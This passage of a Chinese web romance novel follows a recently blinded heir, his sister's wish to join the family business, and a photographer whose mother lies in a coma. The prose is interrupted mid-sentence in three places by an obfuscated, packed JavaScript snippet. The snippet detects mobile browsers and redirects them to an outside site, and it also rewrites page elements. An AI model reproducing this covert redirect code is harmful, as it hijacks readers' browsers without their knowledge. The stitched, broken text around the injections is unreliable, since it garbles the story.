“说了没事”,金司承打断她,声音也抬高了一点,“我用不着你们看着,你别在这儿吵吵。” 金蕊希彻底爆发了,声音连旁边的孟希贤都听得清清楚楚,“金司承,你有没有良心!我今天这么狼狈是为了谁啊?你现在是连我这个妹妹都不要了!” 金司承听着金蕊希的哭声和常鸣在旁边的劝慰声,脸色也很难看。 他声音低了一些,让步道:“好了好了,别哭了,村口是吧?” 金蕊希带着浓重鼻音应了一声,还在抽气。 金司承叹了口气,“我现在过去,跟你回去。” 14. 第 14 章 金司承回到家里,洗了个热水澡。他正准备关灯睡觉,卧室响起了敲门声。 金蕊希的声音从外面传来:“哥,你睡了吗?” 金司承坐起来,“找我有事吗?” “我睡不着,想跟你说说话。” 金司承按了下床头的报时器,现在已经快凌晨了。但他也很清楚这个妹妹的脾性,只好叹气道:“那你进来。” 果不其然,金蕊希拉了张椅子在金司承面前坐下,开始絮絮叨叨地说话。 她将今天去吴家村的每个细节都拿出来抱怨一遍,说到最后,她的尾音又带上了那种要哭不哭的调子。 金司承静静地听着。 这种诉苦的套路他太熟悉了,从小到大,金蕊希遇到点不爽利的事情,或者想要什么东西,总是这样开头。 他再次叹了口气,声音闷闷的:“……行了,洗个澡,好好睡一觉就缓过来了。” “睡一觉也不行!”金蕊希停止了抱怨,焦躁起来:“哥,你能不能别这样了?别老往那种地方跑了行不行,你自己不嫌折腾啊?你明明那么会做生意的!以前爸爸那些麻烦事,你总是一下子就看穿了……你现在是大材小用知道不?” 金司承扯了下嘴角,自嘲道:“你看我现在这个样子,一个连路都走不稳当的瞎子,去跟谁谈生意?在爸眼里,我就是个废人,他早就放弃我了。公司的事,别想了。” “你别这么说自己”,金蕊希的声音有点发紧,“爸最近是太忙了,所有事情都堆在他一个人头上。你知道的,他不放心别人,什么都得他自己盯着。最近外面那些公司,跟疯了一样,逮着点机会就扑上来咬。价格战打的一塌糊涂,挖人挖得明目张胆,还有那些乱七八糟的手段。我们家现在没那么稳当了,股价掉了好多。” 金司承对这个消息并不意外,他偶尔听家里的佣人交谈,也能捕捉到只言片语。 金蕊希吸了口气,仿佛下定了决心,“我不想看着爸那么难,我不想我们家被人欺负。我今年毕业了,我不是小孩子了。我想帮帮爸爸,我想去公司做事。” 金司承沉默了好一会,才开口:“蕊希,做生意不是过家家,要起的比鸡早,睡的比狗晚,脑子里一刻不停地转。但这还不是最烦人的,那些和你称兄道弟的人,背地里不知道藏着多少心思。他们会给你下套,等着看你笑话。你一句话没听明白,一个数字没看清楚,几千万甚至几个亿就打水漂了。女孩子要应付这些太累了。” “我不怕的”,金蕊希立刻反驳,“我年轻,我能熬!而且我就是不想看着家里这样下去。你就忍心看着爸一个人撑着?看着那些人在外面得意?” 她又往前凑了凑,对着金司承恳求道:“家里现在真的很需要人,你就当帮帮我好不好?我知道你嫌生意场上烦,你不用亲自去跟他们打交道,你就私底下告诉我该怎么做,行不行?就像小时候你教我写作业一样,有你看着我,我心里才有底。” 金蕊希的话语像细密的丝线,缠绕在金司承的心头。 就算已经成为弃子,但那份对这个家无法彻底割舍的牵绊,像无形的绳索捆着他。 何况,他从小就不太会拒绝金蕊希想要的东西,尤其是当她用这种带着哭腔又强撑着坚强的语气说出来的时候。 金司承慢慢抬起手,凭着感觉,朝着金蕊希声音的方向探去。 他的动作有些迟疑地落在她的头顶,像小时候那样,安抚地揉了揉她的头发。 他“嗯”了一声,说:“我会把你扶上去。” —————————— 晚上八点,办公室的灯已经灭了大半,只剩孟希贤头顶上那一圈光还亮着。 她收拾好东西,仰靠在椅子上发呆。 隔壁工位的小李背上包,探过头问她,“还不走啊?” 孟希贤回过神来,揉了揉发酸的脖子,“搞点东西,弄着弄着就忘了时间。你先撤吧。” 小李走了,办公室里彻底安静下来,孟希贤眼睛又有点发直,脑子不受控制地跑回了白天。 中午那会儿,她去了趟医院,妈妈还是老样子躺在那里。 她也不知道能做什么,只好拉了把椅子坐下,又开始想到什么就给妈妈说些什么。 临走前,管床的张医生正好查房,把她叫到走廊。 张医生推了推眼镜,告诉她:“跟你说个事儿,可能是个好兆头。我们今天上午给陆阿姨做常规刺激的时候,发现她右手的食指有轻微的屈伸动作。” 孟希贤的心一跳,声音都有点抖,“真的?您确定?” 张医生:“嗯,观察了一阵,确实有自主活动的迹象。虽然还不规律,但也是个积极的信号,说明大脑对外界的刺激是有反应的。你们家属啊,有空还是多来陪她说说话,刺激刺激她。” 孟希贤连声道谢,鼻子有点发酸。 妈妈没放弃,还在努力——她的脑子一下子就被这个念头填满了。 但是,光靠她自己这样隔几天来看一次妈妈,陪着说说话,还隔着那么厚的昏迷屏障,实在太被动了! 医生也说,强烈的刺激可能更有效,那什么才是强烈的刺激呢? 孟希贤站在医院门口,看着车来车往,脑子里突然就蹦出父亲孟国华的名字。 如果他回来了,如果他能在妈妈耳边说说话,说说他们以前的事儿,那妈妈会不会醒得快一点? 可是,要找孟国华,谈何容易。 妈妈告诉过她,当年爸爸失踪,她报了案,也找了,可这么多年过去,都是石沉大海。 而她作为一个刚站稳脚跟的小摄影师,能有什么门路去找一个消失了二十几年的人? 孟希贤抿了抿唇,想到了金司承。 以他的人脉找个人,总比她像没头苍蝇一样乱撞强吧? 想到这里,孟希贤一下从椅子上站起来。刚才那股发呆的劲儿全没了,取而代之的是一种急切的冲动。她几乎是跑着冲出了杂志社的大门。 公交车摇摇晃晃,开了快一个小时才到那片传说中的别墅区。 这儿有着高高的围墙,入口处的保安亭看着就气派。 孟希贤下了车,找保安报了金司承的名字和门牌号。 保安手里拿着个平板,查了一下,又打量了她几眼。 大概是怎么看孟希贤的打扮,怎么也不像能跟金家少爷扯上关系的。 保安拿起内部电话拨了过去,她隐约听到他在询问着什么。 过了一会,保安放下电话,对孟希贤说:“请稍等,金小姐说这就出来。” 金小姐?金蕊希? 孟希贤想起她那些莫名的敌意,心里隐约有点不安。 过了一会,一扇厚重的铁艺大门缓缓滑开。 金蕊希站在门里,头发松松地挽着,脸上没什么表情,就那么看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241323|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着门外的孟希贤。 “金小姐你好”,孟希贤往前走了两步,“我找金司承。他在家吗?” “找我哥?”金蕊希挑了挑眉,身子没动,依旧挡在门内,“他不在。” 孟希贤皱了下眉,“可我找他有点急事,他大概什么时候回来?” 金蕊希有些不耐烦了,“这我就不清楚了,他有自己的安排。如果没什么特别要紧的事,你还是请回吧,天也晚了。” 她说着,抬手就要去按关门的按钮。 “等等!”孟希贤下意识地喊了一声,上前半步,手抵住了快要合拢的铁门,“我真的有很重要的事找金司承,麻烦你跟他说一声,就说孟希贤来了,行吗?” 金蕊希的手停在了按钮上方。 她看着孟希贤,眼神不再是刚才的疏离冷淡,而是带上了审视。 孟希贤被她看得有点不自在,心头那股被挡住的憋闷更重了。 她惦记着妈妈,不想再跟金蕊希在这里纠缠下去了。 她松开抵着门的手,拿出手机,“金小姐,既然你不方便,那我直接打给金司承确认一下吧。” 眼看孟希贤就要按下拨号键,金蕊希终于从门里走了出来,“你别打。” 手机屏幕的光映着孟希贤的脸。她看着金蕊希,心里的怀疑得到了证实。果然,金司承在家。 金蕊希深吸一口气,脸上的表情迅速变换着。她指了指门卫室边一个不起眼的角落,“孟小姐,借一步说话。” 孟希贤点点头,跟着金蕊希过去。 金蕊希拿出自己的手机,在屏幕上快速点了几下,然后递给孟希贤,“你自己看吧。” 手机屏幕上是一个实时监控画面。 有一面墙是顶天立地的书柜,靠窗的位置放着一张宽大的实木书桌,金司承就坐在书桌后面。 书桌上摊开着几份文件,旁边还搁着一个打开的笔记本电脑。 金司承的手指正缓慢地在桌面上移动,像是在摸着盲文点显器之类的东西。 “看到了吗?”金蕊希的声音响起,“不瞒你说,现在金晖集团压力很大,快撑不住了。我也想帮家里,但很多事以前没接触过,我弄不懂。我哥虽然看不见,但他脑子还在,他在教我什么是经商谈判之道。” 金蕊希说着说着,眼眶又渐渐湿了,“孟小姐,算我求你了,离我哥远一点好不好?放过他吧。” 孟希贤愣了愣,不知道金蕊希怎么得出这句结论。 她下意识想反驳:“我没有缠着金司承,我今天来只是……” “你还不明白吗?”金蕊希打断她剩下的话,眼泪啪嗒掉下来,“我哥以前是什么样的人,天之骄子,眼睛长在头顶上,是我们金家的骄傲。现在他看不见了,是会来找你玩,让你带他到处跑,甚至还和常鸣说什么,你是他女朋友……但这些正常吗?这是他金司承会做的事吗?这不是他!他只是失明后找不到方向了,他是在自暴自弃,是在堕落。” “现在他好不容易振作起来,愿意重新接触生意上的事情,你得让他回正轨上。就当我求求你,离他远点吧!” 孟希贤把手机还给金蕊希。本来还想说几句,可话到嘴边咽回去了。 屏幕里的金司承,虽然看不见,但干劲十足。她要是闯进去,打断他,算啥呢?她自己都看不起自己。 孟希贤决定,还是用她自己的办法来寻找孟国华。 15. 第 15 章 午后的阳光有点烈,金司承正靠在客厅沙发里,隔着窗帘也能感觉到一片模糊的白亮。 助理钟历从外面走进来,带上门,“小金总,打扰您休息了?” “没有,坐吧。” 钟历就站在茶几旁边,取出一个精致盒子,对金司承道:“您上次吩咐找的异彩宝石,我找到了,也按您的要求做成了项链。您感觉一下怎么样?” 金司承听到“咔哒”一声,像是盒子的搭扣弹开。 他伸出手,指尖触到了丝绒的表面,然后是一个金属链条。 他的手指沿着链子滑下去,捏住了那块主石。石头表面切割过,棱角分明。 他把它举起来,朝着窗外阳光最亮的方向,依旧能看到绿莹莹的微光,像一小团有形状的暖意。 他点点头,“白天光线强,我也能看得到,晚上应该会更亮吧?” 钟历的语气很肯定,“这个您放心,我专门找的老师傅,用了特殊工艺,确保它在暗环境下的荧光效果最大化,而且持久性非常好。” 金司承很满意,他指了下茶几,“那挺好,放下吧。” 钟历走了,屋子里又安静下来。金司承靠在沙发背上,那块石头带来的绿光感还在他脑子里晃悠。 他觉得这东西真行,比孟希贤上次在三皇山买的所谓“荧光手环”强多了。 那玩意其实很廉价,根本不是什么会发光的矿石,而是无良商家在上面加了荧光粉。白天在强光下难以看见,晚上是能亮一点,但也只能撑一会儿。 关键是她都没戴几次,那手环已经黯淡得像块塑料片,轻轻一掰就断了。 也就孟希贤那脑袋才会被骗。 他扯了扯嘴角,拿起手机拨给她。 “喂?”孟希贤那边的背景音有点嘈杂,像是在外面。 “我找你有事,你在哪呢?” “现在不行,我在外面办事呢。” “那你什么时候有空?” 电话那头沉默了几秒钟,孟希贤说:“我最近接了个专题报道,可能都不太有空。要不等我忙完了这阵子吧,忙完了我找你?” 金司承听得出里面的推脱和敷衍。“等我找你”这话听着客气,潜台词却是“你不要找我”。 他不知道孟希贤今天怎么了。他能感觉到她跟之前的热乎劲儿,差了十万八千里。 —————————— 金司承做完眼睛复健训练,慢慢走出复健室的门。 医生的话还是老一套,恢复情况不稳定,要继续观察,要坚持训练。 他站在电梯里,听着电梯门开启又关上的声音。 他本来是应该直接去地下车库的,司机钟叔在那里等着。 但是,他的手指在按钮面板上悬停了一下,还是往上按了一层,那里是神经内科的住院部。 因为经常出入医院,又是VIP,护士们都认得金司承这张脸。 他经过护士站的时候,马上有人上来问他有什么需要。 他回忆了一下孟希贤提及过的母亲病情,问:“这里是不是有个中年女人长期住院,应该是去年车祸送进来的,后面一直没醒。她有一个女儿,会经常来看她。” 护士们相互看了一眼,都知道金司承说的是谁。护士长也没有多问,示意一个小护士将他带到陆芝的病房前。 金司承停在门口,听到里面有断断续续的声音,像有人在哭。 小护士低声告诉金司承,“你要找的那位病人,她的女儿今天也来了,不过看着情绪不太好。” 孟希贤背对着门口,趴在病床边,肩膀一抽一抽的。 她的手紧紧抓着床上那只没什么反应的手,声音破碎,“妈……我怎么办啊,我好累……我上次做个专题认识了公安局一些人,有个户籍警今天给我打电话了,他说爸的户籍被注销了。” “是不是你去申请的,我怎么不知道这个事情?现在一点蛛丝马迹都没有……我找不到爸爸,只能指望你了妈……你醒过来好不好,靠你自己早点醒来……我在世上没有别的亲人了,求你了……” 没人回答。 病房里只剩下孟希贤压抑不住的哭泣声,还有病床边仪器单调规律的滴答声。 金司承站在门口,感觉自己像个突兀的闯入者,进退两难。他本该悄悄离开的。 也许是哭得有些脱力,也许是感觉到门口的光线变化,孟希贤的肩膀一顿,抹了几下眼睛,转过身来。 待她看清门口的人影,她连忙站起来。她的声音带着哭后的沙哑,但已经在极力掩饰,“金司承?你怎么在这儿?” 金司承没动,“我在楼下刚复健完,想着你可能在,就上来看看。” 虽然金司承看不见,但孟希贤也力图让自己看起来正常点。她整理了一下衣服,又用手背蹭了蹭眼角,“哦,这样啊……我还有事,得先走了。” 她侧身想从金司承旁边过去,他却叫住了她,“孟希贤,之前你总说没空,现在只好我来找你了。你跟我下去停车场一趟,我有东西给你。” 孟希贤皱了下眉,“什么东西?在这儿给不行吗?” “东西在车上,你来拿一下,很快”,金司承没再给孟希贤拒绝的机会,转身离开。 孟希贤只好跟上他,两人进了电梯,一路无话地到了地下车库。 司机钟叔看到他们过来,立刻下车拉开了后座的门,然后很识趣地走开抽烟。 金司承坐进去,拍了拍身边的座位:“上来。” 孟希贤犹豫了一下,跟着上车把门关上。 金司承摸索着,从他身侧的位置拿起一个丝绒盒子。 他递给孟希贤,“打开看看。” 孟希贤奇怪地看了他一眼,依言打开。里面有条项链,吊坠是彩色宝石,在车内昏暗的光线下,折射出独特的光晕。 她有些愣,“这什么东西?” 金司承回答得理所当然,“送你的。” 孟希贤眼睛都大了,“你无端端送东西给我做什么?” 金司承脸朝着她的方向:“你还记得你在三皇山那个荧光手环吗,说得好听,其实没用。上次去拍窑洞,天稍微暗点,我就完全看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258292|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到你在哪里了。” 孟希贤默了默。她把盒子盖上,推了回去:“那手环就凑合用的,但这个不一样,太贵重了。我不能收。” “为什么不能?”金司承先是很不解,“你说过,我帮了你,以后你随叫随到。现在你不肯戴这个项链,我怎么看得到你在哪里?” 他顿了顿,又嗤笑出声:“我明白了孟希贤,你嫌弃我是个瞎子,不愿意跟我做朋友。没关系,你直说就行,不用在那里推三阻四。” 孟希贤已经有段时间没有从金司承口中听到这种自嘲的话语了,她心里像被什么东西堵了一下,跟着难受起来。 她烦躁地吐了口气,拿起盒子里的项链,“什么嫌弃不嫌弃的,我收行了吧。” 金司承点点头,建议道:“那你戴上看看,如果长度不合适,还可以调整。” 孟希贤拿起项链,有点犯难。 她平时顶多戴个细链子小吊坠,这种看着就很复杂贵重的项链,她真不知道该怎么戴。 链子的搭扣位置看起来也很特别,不是普通的锁扣。她摸索了半天,没弄明白机关在哪里。 她有点窘,声音低了些,“我扣不上。” 金司承朝她伸出手,“给我,有个暗扣。” 他接过项链,“你转过去。” 孟希贤抿了抿唇,侧过身,背对着金司承坐好。 她能感觉到他靠近了些,他身上的气息,是清爽的须后水味道,笼罩过来。 他的手指捏着项链的两端,轻轻掠过她的脖颈两侧,带着微凉的触感。她下意识地绷紧了背脊。 他在她颈后摸索着,温热的呼吸拂过她颈窝后面一点点的发丝,指尖偶尔擦过她的皮肤,带来一阵麻痒。 他靠得太近了。 车厢里的空间仿佛一下子变小,空气也变得粘稠,带着令人心慌的静谧。 她的心跳快了两拍,整个人像被点燃了一小簇火苗,热度蔓延开来。 就在这时,金司承已经找到了那个小巧的机关。只听一声轻响,项链严丝合缝地扣上了。 那颗异彩宝石安静地垂落在她锁骨下方一点的位置,散发着温润的光芒。 金司承的手指离开了孟希贤的脖颈,“好了。” 孟希贤回过神来。但刚才的悸动还没完全消退,一个冰冷的画面就从脑海中浮现出来—— 金蕊希在她面前哭得梨花带雨,她说他现在不过是自甘堕落,他迟早要回到正轨上来。 是啊。 孟希贤抬手摸了摸那项链,冰凉的宝石贴着皮肤。 他现在送她这个,说到底是因为暂时失明。他需要她在黑暗中给出一个清晰的标记,让他能“看见”她在哪里。 她就像一根会发光的拐杖。实用、醒目,随时为他指明方向。 等他康复的那一天,这根“拐杖”自然也就没有存在的价值了。 就像那个不值钱的荧光手环一样,用完就可以丢掉。 她心口那点刚被捂热的角落,迅速冷了下去。刚才那点莫名其妙的心动,此刻显得格外可笑。 16. 第 16 章 今天是周末,孟希贤刚将整个出租屋收拾干净,手机就响了起来。 她看着屏幕上的名字,过了几秒才拿起来按了接听。 金司承的声音透过听筒传来,问她在哪。 金蕊希的话犹在耳边,孟希贤下意识就想撒谎,“我准备回社里加班。” 金司承似乎有点失落。他“嗯”了一声,没再说什么。 孟希贤捏了捏眉心,又有点于心不忍,“你找我,是想出去吗?” “本来是的,医生说要多出去适应环境,对眼睛康复有帮助,屋子里毕竟自然光不够”,他顿了一下,补充道:“不过你没空,就算了。” 孟希贤顺着金司承的话,仿佛看到了他在家的孤单模样。她犹豫了一下,还是说:“其实,也不是很多工作,我周一早点去做也是可以的。你是想去哪里?” 窗外传来几声鸟叫,孟希贤想起前几天看到的燕子筑窝,原来春天已经不知不觉地来临了。 金司承显然也听到了大自然的声音,他问:“你知道酌州哪里鸟多吗?我想去听听。” 孟希贤想了想:“城西那里有个‘翠鸣湖’,水鸟挺多的,周末看鸟拍照的人也多。” 金司承说:“人多没关系,就那儿吧。我让钟叔开车来接你,迟点联系。” 半小时后,金司承的车停在了孟希贤楼下。 她拉开车门坐上去,看见金司承今天穿了一套深色运动服,侧脸的线条在车窗透进来的光线下十分清晰。 即使他现在眼睛看不见,但从小养成的矜贵劲儿,和此刻安静脆弱的感觉混在一起,反而有种要命的吸引力。 她不由地多看了几眼,又暗骂自己要清醒点。 路上有点堵,周末的车流像蜗牛在爬。 到了翠鸣湖停车场,果然人不少。空气里满是湖水潮湿的气味,还有小孩子跑闹的尖叫和大人的说话声,鸟的声音反而被盖下去了。 “人有点多,跟紧我啊,别走散了”,孟希贤下了车,习惯性地去牵金司承,“这边走,小心台阶。” 金司承没说什么,和孟希贤并排而行。 她胸前那点光芒,在他模糊的视野里,像一小团移动的星火,也是他确认方向的锚点。 两人沿着湖边栈道走了一段,远离了入口处最喧闹的人群,鸟鸣声渐渐清晰起来。 水面上,几只大白鹅悠闲地划水,岸边的柳树下,一群麻雀叽叽喳喳地啄食路人掉落的面包屑。水草丰茂的地方,还能看到几只白鹭的长腿。 “那边有水鸟”,孟希贤小声说,指了指方向,随即意识到金司承看不见,又补充道:“左边水面,有两只白色的大鸟,可能是鹭,它们在浅水区站着不动……哦,有一只飞起来了,翅膀展开很大。” 金司承微微偏头,朝着她描述的方向,似乎在努力捕捉翅膀扑棱的声音和掠过的气流。 栈道两边开始出现架着三脚架的摄影者,孟希贤的手上也有她的相机。 她看着金司承挺拔的侧影,看着他仰头“聆听”鸟群飞过的样子,看着他高挺的鼻梁和抿着的薄唇,心里那点因为金蕊希而产生的别扭和刻意疏远,在按下快门的冲动面前,变得不堪一击。 她不动声色地后退半步,举起了相机。 她的镜头对准那个面朝湖水和阳光的身影,轻微的机械声淹没在环境的噪音里。 她飞快瞟了眼金司承,他没什么反应,似乎完全沉浸在鸟鸣和风声里。 她胆子大了点,调整角度,再将他和湖上模糊的水鸟一起框进去。 拍着拍着,她心里那点偷拍的负罪感,渐渐被一种说不清道不明的感觉取代。 她看着取景器里的他,想起了高一教室里那个意气风发、被所有女生偷偷注视的少年。 她和他唯一的“合照”,是当年学校运动会,她作为摄影组成员,在终点线抓拍到他冲刺时的一张照片。 那时的人群簇拥着他,他在中心,那么耀眼,而她,只是镜头外一个模糊的影子。 孟希贤看了看相机屏幕里刚拍下的几张照片。他站在湖边,依旧英俊,但脸上也比当年多了迷茫。 她深吸一口气,做了一个大胆的决定。 她把相机调成自拍模式,镜头翻转过来对着自己和他,她伸长了手臂,试图把两人都框进去。 “金司承”,她喊了一声,“看这边。” 金司承闻声微微侧脸,孟希贤趁机按下快门。 屏幕里,她靠在他身边,对着镜头笑得有些傻。而他,骨相优越,就算面无表情也很上镜。 拍完之后,孟希贤立刻把相机塞回包里,心脏咚咚咚跳得厉害。 她像是偷了糖果怕被发现的小孩,幸好他好像完全没意识到发生了什么。 “走吧”,孟希贤掩饰性地清了清嗓子,“前面有个观景平台,视野更好,鸟可能更多点。” 他们在湖边转悠了一个多小时。 孟希贤给金司承指认各种鸟,虽然他看不见,但听得很认真,偶尔还会问一两句关于鸟的样子,她就尽量用他能理解的方式描述。 “那鸭子全身毛茸茸的黄褐色,嘴巴扁扁的,特别能吃。” “还有几只灰鹭,腿又细又长,脖子也长,站在水里像个雕塑”。 快中午了,太阳晒得人发懒。 孟希贤提议:“湖边有家酒店,我看网上评价还行。我们去那儿吃点东西?” 金司承点头同意。 酒店装修得挺雅致,窗外就是开阔的水面,服务员把他们引到一张靠窗的双人桌。 点菜的时候,孟希贤把菜单上的菜名和大概做法念了一遍。 金司承听完,点了两道招牌菜和一个主食,她又加了一份汤。 菜还没上,孟希贤抽空去了趟洗手间。 她刚走没多久,隔了两张桌子的位置,动静就大了起来。 一个年轻女人的声音,又尖又利,带着明显的不耐烦和优越感,“我跟你交待过吧,这个牛肉要炒得脆一点。你这端上来的是什么?根本都咬不动!” 金司承听到哐当一声,似乎是摔筷子的声音。 一个男服务员的声音随即响起,里面充满了惶恐和忍耐,“小姐,非常抱歉,我们立刻给您换一份。” 那女人却不依不挠,吸引了餐厅里更多人的目光。 “换就能解决吗?我这胃口都被你们破坏了!我朋友待会儿就到,你让我拿什么招待人家?把你们经理叫来!我倒要问问,你们这么大个酒店是怎么招聘厨师的?连个炒牛肉都做不好?” 服务员连声道歉:“真的很对不起,是我们厨房的失误,马上给您重做,经理现在在忙,我……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258293|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 女人像听到了什么天大的笑话,冷笑出声:“忙?有什么比我这个客人更重要?我告诉你,我今天心情本来就不太好,你们这是火上浇油!你知道我季滢是什么人吗?我随便发个朋友圈,你们这破酒店的名声就完了,让你叫经理就叫经理,哪那么多废话!” “季小姐,真的很抱歉,我……” “你闭嘴,叫经理!”季滢的声音充满了命令式的蛮横。 金司承皱起了眉,这声音实在太刺耳了。 他摸索着站起身,大致辨明了声音的方向,一步步走过去。 他停在季滢的位置旁边,开口:“这位小姐,餐厅是公共场所,大家都在用餐。你的声音已经干扰到别人了。” 季滢正拍着桌子发火,突然被打断,愣了一下。 她转头看向这个冒出来指责她的男人——他戴着副样式奇怪的墨镜,身材高大挺拔,穿着简单但质感极好,一张脸更是英俊得过分。 她嚣张的气焰瞬间被这张脸和这身气质压下去了一点。 她挑了挑眉,语气依旧不善,但少了点咄咄逼人,“你谁啊,管什么闲事?他们服务不到位,我还不能说了?” 金司承面对着季滢的方向,语气平静:“服务有问题,你可以投诉。但大喊大叫,为难一个服务员,并不能体现你的身份和修养,只会显得你缺乏最基本的公共意识。” 季滢被他说得一噎。她向来被人捧惯了,还没哪个陌生人敢这么当面教训她。 她非但没消气,反而被激起一股邪火。 她上下打量着金司承,目光在他那墨镜上停留了片刻,忽然嘴角勾起一丝戏谑的笑。 她站起身,端起桌上那杯只喝了一口的冰水,扭着腰肢走到金司承面前。 金司承闻到一股香水味,下意识地后退半步。 “看你长得不错,说话倒挺冲”,季滢的声音忽然变得甜腻腻的,带着一种刻意的撩拨,“你这么爱管闲事,是不是也管管我的心情?” 话音未落,她端着杯子的手猛地向前一倾! 她并不是真的想把水泼到金司承身上,只是想吓唬他一下,看他狼狈躲避的样子。 但金司承根本看不清她的动作,他本能地向后闪避,却因动作幅度太大,脚下被旁边的椅子腿绊了一下,失去重心。 随着旁边响起的几声惊呼,金司承摔倒在地上,戴着的助视镜,也从脸上甩脱了出去。 他顾不上疼痛,第一时间伸手在地上急切地摸索着眼镜。 季滢则是完全愣住了。 她只是想捉弄一下金司承,没想到他反应那么激烈。 更让她惊愕的是,金司承的眼睛很漂亮,却空洞无神。 他看不见?! 这个认知让季滢彻底忘了刚才的怒火,一股混合着兴奋和强烈占有欲的情绪攫住了她。 她知道自己有慕残癖,而眼前这个英俊的盲人,简直就是上天为她准备的完美猎物。 她的态度发生了三百六十度的逆转,声音一下子变得无比娇柔和关切,“哎呀,对不起对不起!你没事吧?” 季滢飞快地蹲下身,却不是去扶金司承。她抢先一步捡起了地上的助视镜,攥在手里,仿佛握住了重要的筹码。 金司承听到她的声音,停下摸索的动作,警惕道:“眼镜还我!”